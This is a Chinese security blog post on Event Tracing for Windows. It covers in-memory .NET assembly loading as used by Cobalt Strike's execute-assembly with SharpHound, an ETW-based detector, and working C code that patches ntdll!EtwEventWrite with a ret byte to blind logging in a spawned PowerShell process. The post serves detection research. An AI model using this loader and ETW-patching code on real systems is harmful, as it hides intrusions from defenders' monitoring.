<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    ETW的攻與防

    一顆小胡椒2022-06-07 16:11:58

    前言

    ETW全稱為Event Tracing for Windows,即windows事件跟蹤,它是Windows提供的原生的事件跟蹤日志系統。由于采用內核層面的緩沖和日志記錄機制,所以ETW提供了一種非常高效的事件跟蹤日志解決方案,本文基于ETW探究其攻與防的實現

    ETW

    事件監測(Event Instrumentation)總會包含兩個基本的實體,事件的提供者(ETW Provider)和消費者(ETW Consumer),ETW框架可以視為它們的中介。ETW Provider會預先注冊到ETW框架上,提供者程序在某個時刻觸發事件,并將標準化定義的事件提供給ETW框架。Consumer同樣需要注冊到ETW框架上,在注冊的時候可以設置事件的刪選條件和接收處理事件的回調。對于接收到的事件,如果它滿足某個注冊ETW Consumer的篩選條件,ETW會調用相應的回調來處理該事件

    ETW`針對事件的處理是在某個會話(`ETW Session`)中進行的,`ETW Session`提供了一個接收、存儲、處理和分發事件的執行上下文。`ETW`框架可以創建多一個會話來處理由提供者程序發送的事件,但是`ETW Session`并不會與某個單一的提供者綁定在一起,多個提供者程序可以向同一個`ETW Session`發送事件。對于接收到的事件,`ETW Session`可以將它保存在創建的日志文件中,也可以實時地分發給注冊的消費者應用。`ETW`會話的開啟和終止是通過 `Session`的開啟和終止是通過ETW控制器(`ETW Controller`)進行管理的。除了管理`ETW Session`之外,`ETW Controller`還可以禁用或者恢復注冊到某個`ETW Session`上的`ETW Provider
    

    在這里,我們可以看到所有已注冊的ETW提供者及其對應GUID,我們還可以看到Microsoft-Windows-Threat-Intelligence突出顯示的提供者及其InstrumentationManifest位于HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Publishers\注冊表項的二進制清單文件因為這是一個Manifest-based ETW提供者

    logman.exe query providers
    

    我們可以使用以下命令獲取更多詳細信息并了解提供程序支持的事件類型

    logman.exe query providers Microsoft-Windows-Threat-Intelligence
    

    也可以XML Manifest使用此工具檢索文件,這使我們可以更詳細地了解特定EtwTi事件記錄的參數

    使用x nt!EtwTi*來查看內核里面的所有例程

    execute-assembly

    cs在3.11版本實現了在非托管程序中加載.net程序集的功能,這個功能不需要向硬盤寫入文件,十分隱蔽,而且現有的Powershell腳本能夠很容易的轉換為C#代碼,十分方便,使用到的就是execute-assembly這個命令,這里我們用c#程序sharphound.exe進行演示,這個程序用來導出域內關系并可視化

    execute-assembly D:\Bloodhound\SharpHound.exe -c all
    

    首先我們來了解一下托管程序和非托管程序,說到這里就需要提一個CLRCLR全稱Common Language Runtime(公共語言運行庫),是一個可由多種編程語言使用的運行環境。CLR.NET Framework的主要執行引擎,作用之一是監視程序的運行:

    • ? 在CLR監視之下運行的程序屬于托管的代碼
    • ? 不在CLR之下,直接在裸機上運行的應用或者組件屬于非托管的代碼

    托管程序與非托管程序的概念如下

    托管代碼就是Visual Basic .NET和C#編譯器編譯出來的代碼。編譯器把代碼編譯成中間語言(IL),而不是能直接在你的電腦上運行的機器碼。中間語言被封裝在一個叫程序集 (assembly)的文件中,程序集中包含了描述你所創建的類,方法和屬性(例如安全需求)的所有元數據。
    非托管代碼就是在Visual Studio .NET 2002發布之前所創建的代碼。例如Visual Basic 6, Visual C++ 6, 最糟糕的是,連那些依然殘存在你的硬盤中、擁有超過15年歷史的陳舊C編譯器所產生的代碼都是非托管代碼。托管代碼直接編譯成目標計算機的機械碼,這些代 碼只能運行在編譯出它們的計算機上,或者是其它相同處理器或者幾乎一樣處理器的計算機上。

    再就是Unmanaged API,它其實是一套能將.net程序集加載到任意程序里面的API,它支持ICorRuntimeHost InterfaceICLRRuntimeHost Interface兩種接口,我們看一下msdn里面的描述

    其中ICorRuntimeHost Interface支持的版本有v1.0.3705v1.1.4322v2.0.50727v4.0.30319ICLRRuntimeHost Interface支持的版本有v2.0.50727,v4.0.30319,在實際的開發里面兩種接口都是可以使用的

    cs實現在非托管程序中加載主要是調用了ICLRRuntimeHost的接口,主要用到以下3個接口

    ICLRMetaHost
    ICLRRuntimeInfo
    ICLRRuntimeHost

    ICLRMetaHost提供基于版本號返回特定版本的公共語言運行時 (CLR)、列出所有已安裝的 CLR、列出在指定進程中加載的所有運行時、發現用于編譯程序集的 CLR 版本、退出進程的方法干凈的運行時關閉,并查詢舊版 API 綁定

    ICLRRuntimeInfo提供一些方法,這些方法可返回有關特定公共語言運行時 (CLR) 的信息,包括版本、目錄和加載狀態。此接口還提供了特定于運行時的功能,而無需初始化運行時。它包括運行時相對 LoadLibrary 方法、運行時模塊特定的 GetProcAddress 方法和通過 GetInterface 方法提供的運行時提供的接口

    ICLRRuntimeHost`提供與 .NET Framework 版本1中提供的 `ICorRuntimeHost`接口類似的功能,其中包含以下更改: 用于設置宿主控件接口的 `SetHostControl`方法的添加,省略提供的某些方法 `ICorRuntimeHost
    

    硬盤加載

    首先這里我們寫一個Printf函數,使用Console.WriteLine接收

    namespace etw1
    {
        class Program
        {
            static int Main(String[] args)
            {
                return 1;
            }
            static int Printf(String strings)
            {
                Console.WriteLine(strings);
                return 1;
            }
        }
    }
    

    在服務端我們首先使用CLRCreateInstance初始化ICLRMetaHost接口

    CLRCreateInstance(CLSID_CLRMetaHost, IID_ICLRMetaHost, (LPVOID*)&iMetaHost);
    

    然后調用GetRuntime方法獲取ICLRRuntimeInfo接口

    iMetaHost->GetRuntime(L"v4.0.30319", IID_ICLRRuntimeInfo, (LPVOID*)&iRuntimeInfo);
    

    再使用ICLRRuntimeInfo將 CLR加載到當前進程,返回運行時接口ICLRRuntimeHost指針

    iRuntimeInfo->GetInterface(CLSID_CLRRuntimeHost, IID_ICLRRuntimeHost, (LPVOID*)&iRuntimeHost);
    

    然后再通過ICLRRuntimeHost.EecuteInDefaultAppDomain執行指定程序

        iRuntimeHost->ExecuteInDefaultAppDomain
        (L"F:\\C#\\etw1\\bin\\Debug\\etw1.exe", L"etw1.Program", L"Printf", L"etw1", NULL);
    

    實現效果如下

    內存加載

    內存加載相對于硬盤加載,首先是整個過程都會在內存執行而不會寫入文件,隱蔽性較好,而且最終的payload為c#程序,調用powershell十分方便利用

    那么我們來進行代碼的實現,首先還是初始化CLR環境

        CLRCreateInstance(CLSID_CLRMetaHost, IID_ICLRMetaHost, (VOID**)&iMetaHost);
        iMetaHost->GetRuntime(L"v4.0.30319", IID_ICLRRuntimeInfo, (VOID**)&iRuntimeInfo);
        iRuntimeInfo->GetInterface(CLSID_CorRuntimeHost, IID_ICorRuntimeHost, (VOID**)&iRuntimeHost);
        iRuntimeHost->Start();
    

    然后使用ICLRRuntimeHost獲取AppDomain接口指針,然后通過AppDomain接口的QueryInterface方法來查詢默認應用程序域的實例指針

        iRuntimeHost->GetDefaultDomain(&pAppDomain);
        pAppDomain->QueryInterface(__uuidof(_AppDomain), (VOID**)&pDefaultAppDomain);
    

    使用Load_3(…)從內存中讀取并加載.NET程序集

        saBound[0].cElements = ASSEMBLY_LENGTH;
        saBound[0].lLbound = 0;
        SAFEARRAY* pSafeArray = SafeArrayCreate(VT_UI1, 1, saBound);
        SafeArrayAccessData(pSafeArray, &pData);
        memcpy(pData, dotnetRaw, ASSEMBLY_LENGTH);
        SafeArrayUnaccessData(pSafeArray);
        pDefaultAppDomain->Load_3(pSafeArray, &pAssembly);
        pAssembly->get_EntryPoint(&pMethodInfo);
    

    創建安全數組并執行入口點

        ZeroMemory(&vRet, sizeof(VARIANT));
        ZeroMemory(&vObj, sizeof(VARIANT));
        vObj.vt = VT_NULL;
        vPsa.vt = (VT_ARRAY | VT_BSTR);
        args = SafeArrayCreateVector(VT_VARIANT, 0, 1);
        if (argc > 1)
        {
            vPsa.parray = SafeArrayCreateVector(VT_BSTR, 0, argc);
            for (long i = 0; i < argc; i++)
            {
                SafeArrayPutElement(vPsa.parray, &i, SysAllocString(argv[i]));
            }
            long idx[1] = { 0 };
            SafeArrayPutElement(args, idx, &vPsa);
        }
        HRESULT hr = pMethodInfo->Invoke_3(vObj, args, &vRet);
    

    檢測execute-assembly

    一般檢測execute-assembly都會使用windows事件跟蹤,即ETW,例如這里啟動一個powershell進程,通過procexp查看可以看到被CLR托管的dll

    我們可以從processhacker工具源碼里面的asmpage.c(https://github.com/processhacker/processhacker/blob/master/plugins/DotNetTools/asmpage.c)源碼里面查看這類工具是怎樣枚舉`.net`工具集的,這里挑出關鍵代碼編譯成`etw2.exe`

    static GUID ClrRuntimeProviderGuid = { 0xe13c0d23, 0xccbc, 0x4e12, { 0x93, 0x1b, 0xd9, 0xcc, 0x2e, 0xee, 0x27, 0xe4 } };
    const char name[] = "dotnet trace\0";
    #pragma pack(1)
    typedef struct _AssemblyLoadUnloadRundown_V1
    {
        ULONG64 AssemblyID;
        ULONG64 AppDomainID;
        ULONG64 BindingID;
        ULONG AssemblyFlags;
        WCHAR FullyQualifiedAssemblyName[1];
    } AssemblyLoadUnloadRundown_V1, * PAssemblyLoadUnloadRundown_V1;
    #pragma pack()
    static void NTAPI ProcessEvent(PEVENT_RECORD EventRecord) {
        PEVENT_HEADER eventHeader = &EventRecord->EventHeader;
        PEVENT_DESCRIPTOR eventDescriptor = &eventHeader->EventDescriptor;
        AssemblyLoadUnloadRundown_V1* assemblyUserData;
        switch (eventDescriptor->Id) {
        case AssemblyDCStart_V1:
            assemblyUserData = (AssemblyLoadUnloadRundown_V1*)EventRecord->UserData;
            wprintf(L"[%d] - Assembly: %s", eventHeader->ProcessId, assemblyUserData->FullyQualifiedAssemblyName);
            break;
        }
    }
    int main(void)
    {
        TRACEHANDLE hTrace = 0;
        ULONG result, bufferSize;
        EVENT_TRACE_LOGFILEA trace;
        EVENT_TRACE_PROPERTIES* traceProp;
        printf(".net_ETW_finder");
        memset(&trace, 0, sizeof(EVENT_TRACE_LOGFILEA));
        trace.ProcessTraceMode = PROCESS_TRACE_MODE_REAL_TIME | PROCESS_TRACE_MODE_EVENT_RECORD;
        trace.LoggerName = (LPSTR)name;
        trace.EventRecordCallback = (PEVENT_RECORD_CALLBACK)ProcessEvent;
        bufferSize = sizeof(EVENT_TRACE_PROPERTIES) + sizeof(name) + sizeof(WCHAR);
        traceProp = (EVENT_TRACE_PROPERTIES*)LocalAlloc(LPTR, bufferSize);
        traceProp->Wnode.BufferSize = bufferSize;
        traceProp->Wnode.ClientContext = 2;
        traceProp->Wnode.Flags = WNODE_FLAG_TRACED_GUID;
        traceProp->LogFileMode = EVENT_TRACE_REAL_TIME_MODE | EVENT_TRACE_USE_PAGED_MEMORY;
        traceProp->LogFileNameOffset = 0;
        traceProp->LoggerNameOffset = sizeof(EVENT_TRACE_PROPERTIES);
        if ((result = StartTraceA(&hTrace, (LPCSTR)name, traceProp)) != ERROR_SUCCESS) {
            printf("[!] Error starting trace: %d", result);
            return 1;
        }
        if ((result = EnableTraceEx(
            &ClrRuntimeProviderGuid,
            NULL,
            hTrace,
            1,
            TRACE_LEVEL_VERBOSE,
            0x8, // LoaderKeyword
            0,
            0,
            NULL
        )) != ERROR_SUCCESS) {
            printf("[!] Error EnableTraceEx");
            return 2;
        }
        hTrace = OpenTrace(&trace);
        if (hTrace == INVALID_PROCESSTRACE_HANDLE) {
            printf("[!] Error OpenTrace");
            return 3;
        }
        result = ProcessTrace(&hTrace, 1, NULL, NULL);
        if (result != ERROR_SUCCESS) {
            printf("[!] Error ProcessTrace");
            return 4;
        }
        return 0;
    }
    

    首先cs上線

    然后啟動我們的監控程序

    在beacon里面調用SharpHound.exe,這里需要在域內且具有.net環境才能夠運行成功,執行以下命令

    execute-assembly D:\Bloodhound\SharpHound.exe 1.2.3.4
    

    這里就會在exe存放的位置生成以下三個文件

    然后我們去看一下我們的監控程序,可以看到已經識別出了SharpHound的調用

    這里如果想要規避檢測,可以更改程序名的名字,但是這里只要修改檢測方法為顯示可疑方法的名稱即可

    switch (eventDescriptor->Id) {
      case MethodLoadVerbose_V1:
        methodUserData = (struct _MethodLoadVerbose_V1*)EventRecord->UserData;
        WCHAR* MethodNameSpace = methodUserData->MethodNameSpace;
        WCHAR* MethodName = (WCHAR*)(((char*)methodUserData->MethodNameSpace) + (lstrlenW(methodUserData->MethodNameSpace) * 2) + 2);
        WCHAR* MethodSignature = (WCHAR*)(((char*)MethodName) + (lstrlenW(MethodName) * 2) + 2);
        wprintf(L"[%d] - MethodNameSpace: %s", eventHeader->ProcessId, methodUserData->MethodNameSpace);
    }
    

    這里通過select-string查找SharpHound方法

    這里還是啟動一下我們的SharpHound程序

    可以看到還是被監控到了Sharphound2.Sharphound方法

    規避ETW檢測

    通過查閱資料后發現ETW將 TRUE布爾參數傳遞到nt!EtwpStopTrace函數中,以查找 ETW特定結構并動態修改或修補ntdll!ETWEventWriteadvapi32!EventWrite立即返回從而停止用戶模式記錄器

    也就是說在3環ETW是通過ntdll.dllEtwEventWriteFull函數實現的

    往下跟發現調用了EtwEventWriteFull,然后EtwEventWriteFull調用EtwpEventWriteFull

    我們繼續往下看EtwEventWriteFull函數,調用了NtTraceEvent

    繼續跟NtTraceEvent,可以發現NtTraceEvent通過syscall進入內核

    這里我們可以打印一下地址

    那么我們在EtwEventWriteFull直接使用0xc3ret返回,即可達到繞過的效果,首先我們通過x64dbg和powershell驗證一下

    首先使用x64dbg創建一個powershell進程,這時x64dbg會在線程初始化前下一個斷點

    定位到ntdll!EtwEventWrite

    一般windows api默認使用stdcall(x86)調用約定,這里x64默認使用fastcall,即寄存器傳參,被調用者清理堆棧,所以我們直接使用retC3返回即可

    查看CLR日志已經被清空

    這里通過代碼實現,定位到ntdll!EtwEventWrite函數,然后在入口處ret返回即可,使用VirtualProtectEx修改屬性

    void bypassetw()
    {
        STARTUPINFOA si = { 0 };
        PROCESS_INFORMATION pi = { 0 };
        si.cb = sizeof(si);
        CreateProcessA(NULL, (LPSTR)"powershell -NoExit", NULL, NULL, NULL, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
        unsigned char pEtwEventWrite[] = { 'E','t','w','E','v','e','n','t','W','r','i','t','e', 0 };
        HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
        LPVOID pEtwEventWrite = GetProcAddress(hNtdll, (LPCSTR)pEtwEventWrite);
        DWORD oldProtect;
        char patch = 0xc3;
        VirtualProtectEx(pi.hProcess, (LPVOID)pEtwEventWrite, 1, PAGE_EXECUTE_READWRITE, &oldProtect);
        WriteProcessMemory(pi.hProcess, (LPVOID)pEtwEventWrite, &patch, sizeof(char), NULL);
        VirtualProtectEx(pi.hProcess, (LPVOID)pEtwEventWrite, 1, oldProtect, NULL);
        ResumeThread(pi.hThread);
        CloseHandle(pi.hProcess);
        CloseHandle(pi.hThread);
        FreeLibrary(hNtdll);
        return 0;
    }
    

    實現效果如下,可以看到起了一個powershell進程,查看CLR日志也被清空

    這里可能某些EDR會hookEtwEventWrite這個函數,那么我們直接往syscall進0環的函數去掛鉤,代碼如下

    unsigned char sNtTraceEvent[] = { 'N','t','T','r','a','c','e','E','v','e','n','t', 0};
    LPVOID pNtTraceEvent = GetProcAddress(hNtdll, (LPCSTR)sEtwEventWrite);
    

    可以看到CLR日志也被清空

    原創稿件征集

    征集原創技術文章中,歡迎投遞

    投稿郵箱:edu@antvsion.com

    文章類型:黑客極客技術、信息安全熱點安全研究分析安全相關

    通過審核并發布能收獲200-800元不等的稿酬。

    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    ETW
    2022-06-07 16:11:58
    前言ETW全稱為Event Tracing for Windows,即windows事件跟蹤,它是Windows提供原生事件跟蹤日志系統。ETW Provider會預先注冊到ETW框架上,提供者程序在某個時刻觸發事件,并將標準化定義事件提供給ETW框架
    Pandora勒索軟件針對Windows用戶發起攻擊,且會對受感染設備上大多數文件加密。
    8月3日,在Black Hat USA 2020安全會議上,BlackBerry為網絡安全社區發布了一種新工具。自上周起,該工具已在GitHub上開源,但8月3日標志著其正式發布。FireEye發布了Flashmingo,該應用程序可自動搜索Flash漏洞。FireEye發布了Crescendo,這是一個適用于macOS實時事件查看器。FireEye發布了Capa,該工具可以分析惡意軟件并檢測惡意功能。NCC集團發布了全球首款針對藍牙5開源嗅探器Sniffle]。SpecterOps發布了Satellite,這是red-team運營有效載荷和代理服務。
    模塊篡改保護是一種緩解措施,可止對進程主映像早期修改,例如 IAT 掛鉤或進程空心化。如果標頭或 IAT 已從其原始映射修改。這樣,新部分將被使用,篡改圖像副本將被忽略。因此,一個值得關注好地方是 EPROCESS 結構中各種 MitigationFlags 字段。
    滲透技巧總結
    2022-01-23 13:30:33
    整理一些滲透測試相關技巧總結~
    FIRST 2022 議題速遞
    2022-07-28 08:21:45
    FIRST 是成立于 1990 年非營利組織,匯聚了全球安全團隊和安全研究人員,旨在共同維護全球互聯網安全。如今,已有全球 101 個國家 635 個安全團隊加入了 FIRST,其中中國大陸參加組織包括中國國家計算機網絡應急技術處理協調中心(CNCERT/CC)、中國移動、阿里、騰訊、奇安信等。
    本次工作中,我們利用各種不同攻擊場景評估EDR和其他端點安全方案在APT檢測及阻止方面效率。但無論如何這項工作不應作為任何特定EDR方案安全投資指南。事實上,定制EDR規則可能會顯著改變他們作用。由于并不只依靠特征值,所以EDR也能夠檢測未知威脅,并在產生破壞之前阻止他們。
    如何檢測父PID欺騙
    2021-11-30 22:24:44
    盡管這項技術本身并不新鮮,雖然Cobalt Strike和DidierStevens 對其進行了詳細介紹,但在檢測此類攻擊方面進行專門研究卻很少。我們還將發布概念驗證PowerShell腳本以執行PPID欺騙和DLL注入,以及一個Python腳本,該腳本利用pywintrace庫來檢測此活動。
    一顆小胡椒
    暫無描述
      亚洲 欧美 自拍 唯美 另类